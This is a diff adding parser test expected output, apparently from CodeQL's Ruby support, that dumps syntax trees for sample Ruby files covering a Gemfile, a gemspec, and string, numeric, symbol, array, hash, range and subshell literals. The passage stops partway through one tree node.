+#   24| [Comment] # X6E
+#   25| [Comment] # ‽
+#   26| [Comment] # b
+#   27| [Comment] # 😊 <Printed as \ud83d\ude0a by CodeQL>
+#   28| [Comment] # <bell U+0007>
+#   29| [Comment] # <backspace U+0008>
+#   30| [Comment] # <tab U+0009>
+#   31| [Comment] # <newline U+000A>
+#   32| [Comment] # <vertical tab U+000B>
+#   33| [Comment] # <form feed U+000C>
+#   34| [Comment] # <carriage return U+000D>
+#   35| [Comment] # <escape U+001B>
+#   36| [Comment] # <space U+0020>
+#   37| [Comment] # <delete U+007F> problem: only \c is parsed as part of the escape sequence
+#   38| [Comment] # <delete U+007F> problem: only \C is parsed as part of the escape sequence
+#   40| [Comment] # TODO: support/test more control characters: \M-..., \cx, \C-x, etc.
+#   42| [Comment] # String interpolation
+#   43| [Comment] # \.
+#   44| [Comment] # \.
+#   46| [Comment] # Regexps - escape sequences are handled by the regex parser, so their constant
+#   47| [Comment] # value should be interpreted literally and not unescaped as in double-quoted strings
+#   52| [Comment] # Regexp interpolation
+#   53| [Comment] # \.
+#   55| [Comment] # equivalent to /\.\./
+#   57| [Comment] # String arrays
+#   58| [Comment] # should be equivalent to ["foo", "\\n", "bar"], but currently misparsed as ["foo \\n", "bar"]
+#   60| [Comment] # Single-quoted symbols. Comments indicate the expected, unescaped string contents.
+#   61| [Comment] # '
+#   62| [Comment] # \"
+#   63| [Comment] # \
+#   64| [Comment] # \1
+#   65| [Comment] # \1
+#   66| [Comment] # \141
+#   67| [Comment] # \n
+#   69| [Comment] # Double-quoted symbols. Comments indicate the expected, unescaped string contents.
+#   70| [Comment] # '
+#   71| [Comment] # "
+#   72| [Comment] # \
+#   73| [Comment] # <U+0001>
+#   74| [Comment] # \1
+#   75| [Comment] # a
+#   76| [Comment] # m
+#   77| [Comment] # n
+#   78| [Comment] # X6d
+#   79| [Comment] # X6E
+#   80| [Comment] # ‽
+#   81| [Comment] # b
+#   82| [Comment] # 😊 <Printed as \ud83d\ude0a by CodeQL>
+#   83| [Comment] # <bell U+0007>
+#   84| [Comment] # <backspace U+0008>
+#   85| [Comment] # <tab U+0009>
+#   86| [Comment] # <newline U+000A>
+#   87| [Comment] # <vertical tab U+000B>
+#   88| [Comment] # <form feed U+000C>
+#   89| [Comment] # <carriage return U+000D>
+#   90| [Comment] # <escape U+001B>
+#   91| [Comment] # <space U+0020>
+#   92| [Comment] # <delete U+007F> problem: only \c is parsed as part of the escape sequence
+#   93| [Comment] # <delete U+007F> problem: only \C is parsed as part of the escape sequence
+gems/Gemfile:
+#    1| [Program] Program
+#    1|   0: [Call] Call
+#    1|     0: [Identifier] source
+#    1|     1: [ArgumentList] ArgumentList
+#    1|       0: [String] String
+#    1|         0: [ReservedWord] '
+#    1|         1: [StringContent] https://rubygems.org
+#    1|         2: [ReservedWord] '
+#    3|   1: [Call] Call
+#    3|     0: [Identifier] gem
+#    3|     1: [ArgumentList] ArgumentList
+#    3|       0: [String] String
+#    3|         0: [ReservedWord] '
+#    3|         1: [StringContent] foo_gem
+#    3|         2: [ReservedWord] '
+#    3|       1: [ReservedWord] ,
+#    3|       2: [String] String
+#    3|         0: [ReservedWord] '
+#    3|         1: [StringContent] ~> 2.0
+#    3|         2: [ReservedWord] '
+#    5|   2: [Call] Call
+#    5|     0: [Identifier] source
+#    5|     1: [ArgumentList] ArgumentList
+#    5|       0: [String] String
+#    5|         0: [ReservedWord] '
+#    5|         1: [StringContent] https://gems.example.com
+#    5|         2: [ReservedWord] '
+#    5|     2: [DoBlock] DoBlock
+#    5|       0: [ReservedWord] do
+#    6|       1: [Call] Call
+#    6|         0: [Identifier] gem
+#    6|         1: [ArgumentList] ArgumentList
+#    6|           0: [String] String
+#    6|             0: [ReservedWord] '
+#    6|             1: [StringContent] my_gem
+#    6|             2: [ReservedWord] '
+#    6|           1: [ReservedWord] ,
+#    6|           2: [String] String
+#    6|             0: [ReservedWord] '
+#    6|             1: [StringContent] 1.0
+#    6|             2: [ReservedWord] '
+#    7|       2: [Call] Call
+#    7|         0: [Identifier] gem
+#    7|         1: [ArgumentList] ArgumentList
+#    7|           0: [String] String
+#    7|             0: [ReservedWord] '
+#    7|             1: [StringContent] another_gem
+#    7|             2: [ReservedWord] '
+#    7|           1: [ReservedWord] ,
+#    7|           2: [String] String
+#    7|             0: [ReservedWord] '
+#    7|             1: [StringContent] 3.1.4
+#    7|             2: [ReservedWord] '
+#    8|       3: [ReservedWord] end
+gems/lib/test.rb:
+#    1| [Program] Program
+#    1|   0: [Class] Class
+#    1|     0: [ReservedWord] class
+#    1|     1: [Constant] Foo
+#    2|     2: [SingletonMethod] SingletonMethod
+#    2|       0: [ReservedWord] def
+#    2|       1: [Self] self
+#    2|       2: [ReservedWord] .
+#    2|       3: [Identifier] greet
+#    3|       4: [Call] Call
+#    3|         0: [Identifier] puts
+#    3|         1: [ArgumentList] ArgumentList
+#    3|           0: [String] String
+#    3|             0: [ReservedWord] "
+#    3|             1: [StringContent] Hello
+#    3|             2: [ReservedWord] "
+#    4|       5: [ReservedWord] end
+#    5|     3: [ReservedWord] end
+gems/test.gemspec:
+#    1| [Program] Program
+#    1|   0: [Call] Call
+#    1|     0: [ScopeResolution] ScopeResolution
+#    1|       0: [Constant] Gem
+#    1|       1: [ReservedWord] ::
+#    1|       2: [Constant] Specification
+#    1|     1: [ReservedWord] .
+#    1|     2: [Identifier] new
+#    1|     3: [DoBlock] DoBlock
+#    1|       0: [ReservedWord] do
+#    1|       1: [BlockParameters] BlockParameters
+#    1|         0: [ReservedWord] |
+#    1|         1: [Identifier] s
+#    1|         2: [ReservedWord] |
+#    2|       2: [Assignment] Assignment
+#    2|         0: [Call] Call
+#    2|           0: [Identifier] s
+#    2|           1: [ReservedWord] .
+#    2|           2: [Identifier] name
+#    2|         1: [ReservedWord] =
+#    2|         2: [String] String
+#    2|           0: [ReservedWord] '
+#    2|           1: [StringContent] test
+#    2|           2: [ReservedWord] '
+#    3|       3: [Assignment] Assignment
+#    3|         0: [Call] Call
+#    3|           0: [Identifier] s
+#    3|           1: [ReservedWord] .
+#    3|           2: [Identifier] version
+#    3|         1: [ReservedWord] =
+#    3|         2: [String] String
+#    3|           0: [ReservedWord] '
+#    3|           1: [StringContent] 0.0.0
+#    3|           2: [ReservedWord] '
+#    4|       4: [Assignment] Assignment
+#    4|         0: [Call] Call
+#    4|           0: [Identifier] s
+#    4|           1: [ReservedWord] .
+#    4|           2: [Identifier] summary
+#    4|         1: [ReservedWord] =
+#    4|         2: [String] String
+#    4|           0: [ReservedWord] "
+#    4|           1: [StringContent] foo!
+#    4|           2: [ReservedWord] "
+#    5|       5: [Assignment] Assignment
+#    5|         0: [Call] Call
+#    5|           0: [Identifier] s
+#    5|           1: [ReservedWord] .
+#    5|           2: [Identifier] description
+#    5|         1: [ReservedWord] =
+#    5|         2: [String] String
+#    5|           0: [ReservedWord] "
+#    5|           1: [StringContent] A test
+#    5|           2: [ReservedWord] "
+#    6|       6: [Assignment] Assignment
+#    6|         0: [Call] Call
+#    6|           0: [Identifier] s
+#    6|           1: [ReservedWord] .
+#    6|           2: [Identifier] authors
+#    6|         1: [ReservedWord] =
+#    6|         2: [Array] Array
+#    6|           0: [ReservedWord] [
+#    6|           1: [String] String
+#    6|             0: [ReservedWord] "
+#    6|             1: [StringContent] Mona Lisa
+#    6|             2: [ReservedWord] "
+#    6|           2: [ReservedWord] ]
+#    7|       7: [Assignment] Assignment
+#    7|         0: [Call] Call
+#    7|           0: [Identifier] s
+#    7|           1: [ReservedWord] .
+#    7|           2: [Identifier] email
+#    7|         1: [ReservedWord] =
+#    7|         2: [String] String
+#    7|           0: [ReservedWord] '
+#    7|           1: [StringContent] mona@example.com
+#    7|           2: [ReservedWord] '
+#    8|       8: [Assignment] Assignment
+#    8|         0: [Call] Call
+#    8|           0: [Identifier] s
+#    8|           1: [ReservedWord] .
+#    8|           2: [Identifier] files
+#    8|         1: [ReservedWord] =
+#    8|         2: [Array] Array
+#    8|           0: [ReservedWord] [
+#    8|           1: [String] String
+#    8|             0: [ReservedWord] "
+#    8|             1: [StringContent] lib/test.rb
+#    8|             2: [ReservedWord] "
+#    8|           2: [ReservedWord] ]
+#    9|       9: [Assignment] Assignment
+#    9|         0: [Call] Call
+#    9|           0: [Identifier] s
+#    9|           1: [ReservedWord] .
+#    9|           2: [Identifier] homepage
+#    9|         1: [ReservedWord] =
+#    9|         2: [String] String
+#    9|           0: [ReservedWord] '
+#    9|           1: [StringContent] https://github.com/github/codeql-ruby
+#    9|           2: [ReservedWord] '
+#   10|       10: [ReservedWord] end
+literals/literals.rb:
+#    1| [Program] Program
+#    2|   0: [Nil] nil
+#    2|     0: [ReservedWord] nil
+#    3|   1: [Constant] NIL
+#    4|   2: [False] false
+#    5|   3: [Constant] FALSE
+#    6|   4: [True] true
+#    7|   5: [Constant] TRUE
+#   10|   6: [Integer] 1234
+#   11|   7: [Integer] 5_678
+#   12|   8: [Integer] 0
+#   13|   9: [Integer] 0d900
+#   14|   10: [Integer] 2147483647
+#   15|   11: [Integer] 2147483648
+#   18|   12: [Integer] 0x1234
+#   19|   13: [Integer] 0xbeef
+#   20|   14: [Integer] 0xF0_0D
+#   21|   15: [Integer] 0x000000000000000000ff
+#   22|   16: [Integer] 0x7FFF_FFFF
+#   23|   17: [Integer] 0x80000000
+#   24|   18: [Integer] 0xdeadbeef
+#   25|   19: [Integer] 0xF00D_face
+#   28|   20: [Integer] 0123
+#   29|   21: [Integer] 0o234
+#   30|   22: [Integer] 0O45_6
+#   31|   23: [Integer] 0000000000000000000000000000010
+#   32|   24: [Integer] 017777777777
+#   33|   25: [Integer] 020000000000
+#   36|   26: [Integer] 0b10010100
+#   37|   27: [Integer] 0B011_01101
+#   38|   28: [Integer] 0b00000000000000000000000000000000000000011
+#   39|   29: [Integer] 0b01111111111111111111111111111111
+#   40|   30: [Integer] 0b10000000000000000000000000000000
+#   43|   31: [Float] 12.34
+#   44|   32: [Float] 1234e-2
+#   45|   33: [Float] 1.234E1
+#   48|   34: [Rational] Rational
+#   48|     0: [Integer] 23
+#   48|     1: [ReservedWord] r
+#   49|   35: [Rational] Rational
+#   49|     0: [Float] 9.85
+#   49|     1: [ReservedWord] r
+#   52|   36: [Complex] Complex
+#   52|     0: [Integer] 2
+#   52|     1: [ReservedWord] i
+#   53|   37: [Complex] Complex
+#   53|     0: [Float] 3.14
+#   53|     1: [ReservedWord] i
+#   56|   38: [Complex] Complex
+#   56|     0: [Rational] Rational
+#   56|       0: [Float] 1.2
+#   56|     1: [ReservedWord] ri
+#   59|   39: [String] String
+#   59|     0: [ReservedWord] "
+#   59|     1: [ReservedWord] "
+#   60|   40: [String] String
+#   60|     0: [ReservedWord] '
+#   60|     1: [ReservedWord] '
+#   61|   41: [String] String
+#   61|     0: [ReservedWord] "
+#   61|     1: [StringContent] hello
+#   61|     2: [ReservedWord] "
+#   62|   42: [String] String
+#   62|     0: [ReservedWord] '
+#   62|     1: [StringContent] goodbye
+#   62|     2: [ReservedWord] '
+#   63|   43: [String] String
+#   63|     0: [ReservedWord] "
+#   63|     1: [StringContent] string with escaped 
+#   63|     2: [EscapeSequence] \"
+#   63|     3: [StringContent]  quote
+#   63|     4: [ReservedWord] "
+#   64|   44: [String] String
+#   64|     0: [ReservedWord] '
+#   64|     1: [StringContent] string with " quote
+#   64|     2: [ReservedWord] '
+#   65|   45: [String] String
+#   65|     0: [ReservedWord] %(
+#   65|     1: [StringContent] foo bar baz
+#   65|     2: [ReservedWord] )
+#   66|   46: [String] String
+#   66|     0: [ReservedWord] %q<
+#   66|     1: [StringContent] foo bar baz
+#   66|     2: [ReservedWord] >
+#   67|   47: [String] String
+#   67|     0: [ReservedWord] %q(
+#   67|     1: [StringContent] foo ' bar " baz'
+#   67|     2: [ReservedWord] )
+#   68|   48: [String] String
+#   68|     0: [ReservedWord] %Q(
+#   68|     1: [StringContent] FOO ' BAR " BAZ'
+#   68|     2: [ReservedWord] )
+#   69|   49: [String] String
+#   69|     0: [ReservedWord] %q(
+#   69|     1: [StringContent] foo\ bar
+#   69|     2: [ReservedWord] )
+#   70|   50: [String] String
+#   70|     0: [ReservedWord] %Q(
+#   70|     1: [StringContent] foo
+#   70|     2: [EscapeSequence] \ 
+#   70|     3: [StringContent] bar
+#   70|     4: [ReservedWord] )
+#   71|   51: [String] String
+#   71|     0: [ReservedWord] "
+#   71|     1: [StringContent] 2 + 2 = 
+#   71|     2: [Interpolation] Interpolation
+#   71|       0: [ReservedWord] #{
+#   71|       1: [Binary] Binary
+#   71|         0: [Integer] 2
+#   71|         1: [ReservedWord] +
+#   71|         2: [Integer] 2
+#   71|       2: [ReservedWord] }
+#   71|     3: [ReservedWord] "
+#   72|   52: [String] String
+#   72|     0: [ReservedWord] %Q(
+#   72|     1: [StringContent] 3 + 4 = 
+#   72|     2: [Interpolation] Interpolation
+#   72|       0: [ReservedWord] #{
+#   72|       1: [Binary] Binary
+#   72|         0: [Integer] 3
+#   72|         1: [ReservedWord] +
+#   72|         2: [Integer] 4
+#   72|       2: [ReservedWord] }
+#   72|     3: [ReservedWord] )
+#   73|   53: [String] String
+#   73|     0: [ReservedWord] '
+#   73|     1: [StringContent] 2 + 2 = #{ 2 + 2 }
+#   73|     2: [ReservedWord] '
+#   74|   54: [String] String
+#   74|     0: [ReservedWord] %q(
+#   74|     1: [StringContent] 3 + 4 = #{ 3 + 4 }
+#   74|     2: [ReservedWord] )
+#   75|   55: [ChainedString] ChainedString
+#   75|     0: [String] String
+#   75|       0: [ReservedWord] "
+#   75|       1: [StringContent] foo
+#   75|       2: [ReservedWord] "
+#   75|     1: [String] String
+#   75|       0: [ReservedWord] '
+#   75|       1: [StringContent] bar
+#   75|       2: [ReservedWord] '
+#   75|     2: [String] String
+#   75|       0: [ReservedWord] "
+#   75|       1: [StringContent] baz
+#   75|       2: [ReservedWord] "
+#   76|   56: [ChainedString] ChainedString
+#   76|     0: [String] String
+#   76|       0: [ReservedWord] %q{
+#   76|       1: [StringContent] foo
+#   76|       2: [ReservedWord] }
+#   76|     1: [String] String
+#   76|       0: [ReservedWord] "
+#   76|       1: [StringContent] bar
+#   76|       2: [ReservedWord] "
+#   76|     2: [String] String
+#   76|       0: [ReservedWord] '
+#   76|       1: [StringContent] baz
+#   76|       2: [ReservedWord] '
+#   77|   57: [ChainedString] ChainedString
+#   77|     0: [String] String
+#   77|       0: [ReservedWord] "
+#   77|       1: [StringContent] foo
+#   77|       2: [ReservedWord] "
+#   77|     1: [String] String
+#   77|       0: [ReservedWord] "
+#   77|       1: [StringContent] bar
+#   77|       2: [Interpolation] Interpolation
+#   77|         0: [ReservedWord] #{
+#   77|         1: [Binary] Binary
+#   77|           0: [Integer] 1
+#   77|           1: [ReservedWord] *
+#   77|           2: [Integer] 1
+#   77|         2: [ReservedWord] }
+#   77|       3: [ReservedWord] "
+#   77|     2: [String] String
+#   77|       0: [ReservedWord] '
+#   77|       1: [StringContent] baz
+#   77|       2: [ReservedWord] '
+#   78|   58: [String] String
+#   78|     0: [ReservedWord] "
+#   78|     1: [StringContent] foo 
+#   78|     2: [Interpolation] Interpolation
+#   78|       0: [ReservedWord] #{
+#   78|       1: [String] String
+#   78|         0: [ReservedWord] "
+#   78|         1: [StringContent] bar 
+#   78|         2: [Interpolation] Interpolation
+#   78|           0: [ReservedWord] #{
+#   78|           1: [Binary] Binary
+#   78|             0: [Integer] 2
+#   78|             1: [ReservedWord] +
+#   78|             2: [Integer] 3
+#   78|           2: [ReservedWord] }
+#   78|         3: [StringContent]  baz
+#   78|         4: [ReservedWord] "
+#   78|       2: [ReservedWord] }
+#   78|     3: [StringContent]  qux
+#   78|     4: [ReservedWord] "
+#   79|   59: [String] String
+#   79|     0: [ReservedWord] "
+#   79|     1: [StringContent] foo 
+#   79|     2: [Interpolation] Interpolation
+#   79|       0: [ReservedWord] #{
+#   79|       1: [Call] Call
+#   79|         0: [Identifier] blah
+#   79|         1: [ArgumentList] ArgumentList
+#   79|           0: [ReservedWord] (
+#   79|           1: [ReservedWord] )
+#   79|       2: [ReservedWord] ;
+#   79|       3: [Binary] Binary
+#   79|         0: [Integer] 1
+#   79|         1: [ReservedWord] +
+#   79|         2: [Integer] 9
+#   79|       4: [ReservedWord] }
+#   79|     3: [ReservedWord] "
+#   80|   60: [Assignment] Assignment
+#   80|     0: [Identifier] bar
+#   80|     1: [ReservedWord] =
+#   80|     2: [String] String
+#   80|       0: [ReservedWord] "
+#   80|       1: [StringContent] bar
+#   80|       2: [ReservedWord] "
+#   81|   61: [Assignment] Assignment
+#   81|     0: [Constant] BAR
+#   81|     1: [ReservedWord] =
+#   81|     2: [String] String
+#   81|       0: [ReservedWord] "
+#   81|       1: [StringContent] bar
+#   81|       2: [ReservedWord] "
+#   82|   62: [String] String
+#   82|     0: [ReservedWord] "
+#   82|     1: [StringContent] foo 
+#   82|     2: [Interpolation] Interpolation
+#   82|       0: [ReservedWord] #{
+#   82|       1: [Identifier] bar
+#   82|       2: [ReservedWord] }
+#   82|     3: [ReservedWord] "
+#   83|   63: [String] String
+#   83|     0: [ReservedWord] "
+#   83|     1: [StringContent] foo 
+#   83|     2: [Interpolation] Interpolation
+#   83|       0: [ReservedWord] #{
+#   83|       1: [Constant] BAR
+#   83|       2: [ReservedWord] }
+#   83|     3: [ReservedWord] "
+#   86|   64: [Character] ?x
+#   87|   65: [Character] ?\n
+#   88|   66: [Character] ?\s
+#   89|   67: [Character] ?\\
+#   90|   68: [Character] ?\u{58}
+#   91|   69: [Character] ?\C-a
+#   92|   70: [Character] ?\M-a
+#   93|   71: [Character] ?\M-\C-a
+#   94|   72: [Character] ?\C-\M-a
+#   97|   73: [DelimitedSymbol] DelimitedSymbol
+#   97|     0: [ReservedWord] :"
+#   97|     1: [ReservedWord] "
+#   98|   74: [SimpleSymbol] :hello
+#   99|   75: [DelimitedSymbol] DelimitedSymbol
+#   99|     0: [ReservedWord] :"
+#   99|     1: [StringContent] foo bar
+#   99|     2: [ReservedWord] "
+#  100|   76: [DelimitedSymbol] DelimitedSymbol
+#  100|     0: [ReservedWord] :'
+#  100|     1: [StringContent] bar baz
+#  100|     2: [ReservedWord] '
+#  101|   77: [Hash] Hash
+#  101|     0: [ReservedWord] {
+#  101|     1: [Pair] Pair
+#  101|       0: [HashKeySymbol] foo
+#  101|       1: [ReservedWord] :
+#  101|       2: [String] String
+#  101|         0: [ReservedWord] "
+#  101|         1: [StringContent] bar
+#  101|         2: [ReservedWord] "
+#  101|     2: [ReservedWord] }
+#  102|   78: [DelimitedSymbol] DelimitedSymbol
+#  102|     0: [ReservedWord] %s(
+#  102|     1: [StringContent] wibble
+#  102|     2: [ReservedWord] )
+#  103|   79: [DelimitedSymbol] DelimitedSymbol
+#  103|     0: [ReservedWord] %s[
+#  103|     1: [StringContent] wibble wobble
+#  103|     2: [ReservedWord] ]
+#  104|   80: [DelimitedSymbol] DelimitedSymbol
+#  104|     0: [ReservedWord] :"
+#  104|     1: [StringContent] foo_
+#  104|     2: [Interpolation] Interpolation
+#  104|       0: [ReservedWord] #{
+#  104|       1: [Binary] Binary
+#  104|         0: [Integer] 2
+#  104|         1: [ReservedWord] +
+#  104|         2: [Integer] 2
+#  104|       2: [ReservedWord] }
+#  104|     3: [StringContent] _
+#  104|     4: [Interpolation] Interpolation
+#  104|       0: [ReservedWord] #{
+#  104|       1: [Identifier] bar
+#  104|       2: [ReservedWord] }
+#  104|     5: [StringContent] _
+#  104|     6: [Interpolation] Interpolation
+#  104|       0: [ReservedWord] #{
+#  104|       1: [Constant] BAR
+#  104|       2: [ReservedWord] }
+#  104|     7: [ReservedWord] "
+#  105|   81: [DelimitedSymbol] DelimitedSymbol
+#  105|     0: [ReservedWord] :'
+#  105|     1: [StringContent] foo_#{ 2 + 2}_#{bar}_#{BAR}
+#  105|     2: [ReservedWord] '
+#  106|   82: [DelimitedSymbol] DelimitedSymbol
+#  106|     0: [ReservedWord] %s(
+#  106|     1: [StringContent] foo_#{ 3 - 2 }
+#  106|     2: [ReservedWord] )
+#  109|   83: [Array] Array
+#  109|     0: [ReservedWord] [
+#  109|     1: [ReservedWord] ]
+#  110|   84: [Array] Array
+#  110|     0: [ReservedWord] [
+#  110|     1: [Integer] 1
+#  110|     2: [ReservedWord] ,
+#  110|     3: [Integer] 2
+#  110|     4: [ReservedWord] ,
+#  110|     5: [Integer] 3
+#  110|     6: [ReservedWord] ]
+#  111|   85: [Array] Array
+#  111|     0: [ReservedWord] [
+#  111|     1: [Integer] 4
+#  111|     2: [ReservedWord] ,
+#  111|     3: [Integer] 5
+#  111|     4: [ReservedWord] ,
+#  111|     5: [Binary] Binary
+#  111|       0: [Integer] 12
+#  111|       1: [ReservedWord] /
+#  111|       2: [Integer] 2
+#  111|     6: [ReservedWord] ]
+#  112|   86: [Array] Array
+#  112|     0: [ReservedWord] [
+#  112|     1: [Integer] 7
+#  112|     2: [ReservedWord] ,
+#  112|     3: [Array] Array
+#  112|       0: [ReservedWord] [
+#  112|       1: [Integer] 8
+#  112|       2: [ReservedWord] ,
+#  112|       3: [Integer] 9
+#  112|       4: [ReservedWord] ]
+#  112|     4: [ReservedWord] ]
+#  115|   87: [StringArray] StringArray
+#  115|     0: [ReservedWord] %w(
+#  115|     1: [ReservedWord] )
+#  116|   88: [StringArray] StringArray
+#  116|     0: [ReservedWord] %w(
+#  116|     1: [BareString] BareString
+#  116|       0: [StringContent] foo
+#  116|     2: [BareString] BareString
+#  116|       0: [StringContent] bar
+#  116|     3: [BareString] BareString
+#  116|       0: [StringContent] baz
+#  116|     4: [ReservedWord] )
+#  117|   89: [StringArray] StringArray
+#  117|     0: [ReservedWord] %w!
+#  117|     1: [BareString] BareString
+#  117|       0: [StringContent] foo
+#  117|     2: [BareString] BareString
+#  117|       0: [StringContent] bar
+#  117|     3: [BareString] BareString
+#  117|       0: [StringContent] baz
+#  117|     4: [ReservedWord] !
+#  118|   90: [StringArray] StringArray
+#  118|     0: [ReservedWord] %W[
+#  118|     1: [BareString] BareString
+#  118|       0: [StringContent] foo
+#  118|     2: [BareString] BareString
+#  118|       0: [StringContent] bar
+#  118|       1: [Interpolation] Interpolation
+#  118|         0: [ReservedWord] #{
+#  118|         1: [Binary] Binary
+#  118|           0: [Integer] 1
+#  118|           1: [ReservedWord] +
+#  118|           2: [Integer] 1
+#  118|         2: [ReservedWord] }
+#  118|     3: [BareString] BareString
+#  118|       0: [Interpolation] Interpolation
+#  118|         0: [ReservedWord] #{
+#  118|         1: [Identifier] bar
+#  118|         2: [ReservedWord] }
+#  118|     4: [BareString] BareString
+#  118|       0: [Interpolation] Interpolation
+#  118|         0: [ReservedWord] #{
+#  118|         1: [Constant] BAR
+#  118|         2: [ReservedWord] }
+#  118|     5: [BareString] BareString
+#  118|       0: [StringContent] baz
+#  118|     6: [ReservedWord] ]
+#  119|   91: [StringArray] StringArray
+#  119|     0: [ReservedWord] %w[
+#  119|     1: [BareString] BareString
+#  119|       0: [StringContent] foo
+#  119|     2: [BareString] BareString
+#  119|       0: [StringContent] bar#{1+1}
+#  119|     3: [BareString] BareString
+#  119|       0: [StringContent] #{bar}
+#  119|     4: [BareString] BareString
+#  119|       0: [StringContent] #{BAR}
+#  119|     5: [BareString] BareString
+#  119|       0: [StringContent] baz
+#  119|     6: [ReservedWord] ]
+#  122|   92: [SymbolArray] SymbolArray
+#  122|     0: [ReservedWord] %i(
+#  122|     1: [ReservedWord] )
+#  123|   93: [SymbolArray] SymbolArray
+#  123|     0: [ReservedWord] %i(
+#  123|     1: [BareSymbol] BareSymbol
+#  123|       0: [StringContent] foo
+#  123|     2: [BareSymbol] BareSymbol
+#  123|       0: [StringContent] bar
+#  123|     3: [BareSymbol] BareSymbol
+#  123|       0: [StringContent] baz
+#  123|     4: [ReservedWord] )
+#  124|   94: [SymbolArray] SymbolArray
+#  124|     0: [ReservedWord] %i@
+#  124|     1: [BareSymbol] BareSymbol
+#  124|       0: [StringContent] foo
+#  124|     2: [BareSymbol] BareSymbol
+#  124|       0: [StringContent] bar
+#  124|     3: [BareSymbol] BareSymbol
+#  124|       0: [StringContent] baz
+#  124|     4: [ReservedWord] @
+#  125|   95: [SymbolArray] SymbolArray
+#  125|     0: [ReservedWord] %I(
+#  125|     1: [BareSymbol] BareSymbol
+#  125|       0: [StringContent] foo
+#  125|     2: [BareSymbol] BareSymbol
+#  125|       0: [StringContent] bar
+#  125|       1: [Interpolation] Interpolation
+#  125|         0: [ReservedWord] #{
+#  125|         1: [Binary] Binary
+#  125|           0: [Integer] 2
+#  125|           1: [ReservedWord] +
+#  125|           2: [Integer] 4
+#  125|         2: [ReservedWord] }
+#  125|     3: [BareSymbol] BareSymbol
+#  125|       0: [Interpolation] Interpolation
+#  125|         0: [ReservedWord] #{
+#  125|         1: [Identifier] bar
+#  125|         2: [ReservedWord] }
+#  125|     4: [BareSymbol] BareSymbol
+#  125|       0: [Interpolation] Interpolation
+#  125|         0: [ReservedWord] #{
+#  125|         1: [Constant] BAR
+#  125|         2: [ReservedWord] }
+#  125|     5: [BareSymbol] BareSymbol
+#  125|       0: [StringContent] baz
+#  125|     6: [ReservedWord] )
+#  126|   96: [SymbolArray] SymbolArray
+#  126|     0: [ReservedWord] %i(
+#  126|     1: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] foo
+#  126|     2: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] bar#{
+#  126|     3: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] 2
+#  126|     4: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] +
+#  126|     5: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] 4
+#  126|     6: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] }
+#  126|     7: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] #{bar}
+#  126|     8: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] #{BAR}
+#  126|     9: [BareSymbol] BareSymbol
+#  126|       0: [StringContent] baz
+#  126|     10: [ReservedWord] )
+#  129|   97: [Hash] Hash
+#  129|     0: [ReservedWord] {
+#  129|     1: [ReservedWord] }
+#  130|   98: [Hash] Hash
+#  130|     0: [ReservedWord] {
+#  130|     1: [Pair] Pair
+#  130|       0: [HashKeySymbol] foo
+#  130|       1: [ReservedWord] :
+#  130|       2: [Integer] 1
+#  130|     2: [ReservedWord] ,
+#  130|     3: [Pair] Pair
+#  130|       0: [SimpleSymbol] :bar
+#  130|       1: [ReservedWord] =>
+#  130|       2: [Integer] 2
+#  130|     4: [ReservedWord] ,
+#  130|     5: [Pair] Pair
+#  130|       0: [String] String
+#  130|         0: [ReservedWord] '
+#  130|         1: [StringContent] baz
+#  130|         2: [ReservedWord] '
+#  130|       1: [ReservedWord] =>
+#  130|       2: [Integer] 3
+#  130|     6: [ReservedWord] }
+#  131|   99: [Hash] Hash
+#  131|     0: [ReservedWord] {
+#  131|     1: [Pair] Pair
+#  131|       0: [HashKeySymbol] foo
+#  131|       1: [ReservedWord] :
+#  131|       2: [Integer] 7
+#  131|     2: [ReservedWord] ,
+#  131|     3: [HashSplatArgument] HashSplatArgument
+#  131|       0: [ReservedWord] **
+#  131|       1: [Identifier] baz
+#  131|     4: [ReservedWord] }
+#  134|   100: [ParenthesizedStatements] ParenthesizedStatements
+#  134|     0: [ReservedWord] (
+#  134|     1: [Range] Range
+#  134|       0: [Integer] 1
+#  134|       1: [ReservedWord] ..
+#  134|       2: [Integer] 10
+#  134|     2: [ReservedWord] )
+#  135|   101: [ParenthesizedStatements] ParenthesizedStatements
+#  135|     0: [ReservedWord] (
+#  135|     1: [Range] Range
+#  135|       0: [Integer] 1
+#  135|       1: [ReservedWord] ...
+#  135|       2: [Integer] 10
+#  135|     2: [ReservedWord] )
+#  136|   102: [ParenthesizedStatements] ParenthesizedStatements
+#  136|     0: [ReservedWord] (
+#  136|     1: [Range] Range
+#  136|       0: [Integer] 1
+#  136|       1: [ReservedWord] ..
+#  136|       2: [Integer] 0
+#  136|     2: [ReservedWord] )
+#  137|   103: [ParenthesizedStatements] ParenthesizedStatements
+#  137|     0: [ReservedWord] (
+#  137|     1: [Range] Range
+#  137|       0: [Identifier] start
+#  137|       1: [ReservedWord] ..
+#  137|       2: [Binary] Binary
+#  137|         0: [Integer] 2
+#  137|         1: [ReservedWord] +
+#  137|         2: [Integer] 3
+#  137|     2: [ReservedWord] )
+#  138|   104: [ParenthesizedStatements] ParenthesizedStatements
+#  138|     0: [ReservedWord] (
+#  138|     1: [Range] Range
+#  138|       0: [Integer] 1
+#  138|       1: [ReservedWord] ..
+#  138|     2: [ReservedWord] )
+#  139|   105: [ParenthesizedStatements] ParenthesizedStatements
+#  139|     0: [ReservedWord] (
+#  139|     1: [Range] Range
+#  139|       0: [ReservedWord] ..
+#  139|       1: [Integer] 1
+#  139|     2: [ReservedWord] )
+#  140|   106: [ParenthesizedStatements] ParenthesizedStatements
+#  140|     0: [ReservedWord] (
+#  140|     1: [Range] Range
+#  140|       0: [Integer] 0
+#  140|       1: [ReservedWord] ..
+#  140|       2: [Unary] Unary
+#  140|         0: [ReservedWord] -
+#  140|         1: [Integer] 1
+#  140|     2: [ReservedWord] )
+#  143|   107: [Subshell] Subshell
+#  143|     0: [ReservedWord] `
+#  143|     1: [StringContent] ls -l
+#  143|     2: [ReservedWord] `
+#  144|   108: [Subshell] Subshell
+#  144|     0: [ReservedWord] %x(
+#  144|     1: [StringContent] ls -l
+#  144|     2: [ReservedWord] )
+#  145|   109: [Subshell] Subshell
+#  145|     0: [ReservedWord] `
+#  145|     1: [StringContent] du -d 
+#  145|     2: [Interpolation] Interpolation
+#  145|       0: [ReservedWord] #{
+#  145|       1: [Binary] Binary
